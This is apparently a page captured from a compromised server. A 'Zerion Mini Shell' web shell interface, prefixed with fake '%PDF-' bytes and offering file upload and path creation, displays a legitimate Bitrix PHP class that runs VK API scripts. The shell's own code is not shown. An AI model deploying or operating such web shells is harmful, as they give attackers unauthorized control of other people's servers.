%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /proc/self/root/home/bitrix/www/bitrix/modules/sale/lib/tradingplatform/vk/api/
Upload File :
Create Path :
Current File : //proc/self/root/home/bitrix/www/bitrix/modules/sale/lib/tradingplatform/vk/api/executer.php

<?php

namespace Bitrix\Sale\TradingPlatform\Vk\Api;

use Bitrix\Main\ArgumentNullException;
use Bitrix\Main\Web\Json;
use Bitrix\Main\IO;


class Executer
{
	private $api;
	private $scriptPath;

	public function __construct($api)
	{
		if (empty($api))
			throw new ArgumentNullException('api');

		$this->scriptPath = $_SERVER['DOCUMENT_ROOT'] . "/bitrix/modules/sale/lib/tradingplatform/vk/api/scripts";
		$this->api = $api;
	}


	/**
	 * Load .vks script from file
	 *
	 * @param $name
	 * @return bool|null|string
	 */
	private function getScript($name)
	{
		$filePath = $this->scriptPath . '/' . $name . '.vks';
		if (IO\File::isFileExists($filePath))
		{
			$script = IO\File::getFileContents($filePath);
//			$script = file_get_contents($filePath);

			return $script;
		}

		return NULL;
	}


	/**
	 * Main method to call vk-script from .vks files
	 *
	 * @param $methodName - must be string in format "execute" + name of script file
	 * @param $arguments - various array of scripts arguments
	 * @return mixed response from VK
	 */
	public function __call($methodName, $arguments)
	{
//		prepare METHOD name
		$methodName = strtolower($methodName);
		if (strpos($methodName, 'execute') == 0)
		{
			$methodName = str_replace("execute", "", $methodName);
		}

		$script = $this->getScript($methodName);
		if (count($arguments))
		{
			$script = $this->prepareParams($script, $arguments[0]);
		}
		$response = $this->api->run('execute', array('code' => $script));

		return $response;
	}


	/**
	 * Replace params names to params values from in script string.
	 * Return encoded script string in JSON
	 *
	 * @param $script
	 * @param $params
	 * @return mixed
	 */
	private function prepareParams($script, $params)
	{
		foreach ($params as $key => $value)
		{
			if (is_array($value))
			{
				$value = Json::encode($value);
				$value = $this->decodeMultibyteUnicode($value);    //vkscript dont understand \uXXXX format, decoding
			}
			$script = str_replace('%' . strtoupper($key) . '%', $value, $script);
		}

		return $script;
	}

	/**
	 * Decode \uXXXX from JSON-converted string, because VK has lenght limit for values.
	 *
	 * @param $str
	 * @return mixed
	 */
	private function decodeMultibyteUnicode($str)
	{
		$str = preg_replace_callback('/\\\\u(\w{4})/', function ($matches)
		{
			return html_entity_decode('&#x' . $matches[1] . ';', null, 'UTF-8');
		}, $str);

		return $str;
	}
}

Zerion Mini Shell 1.0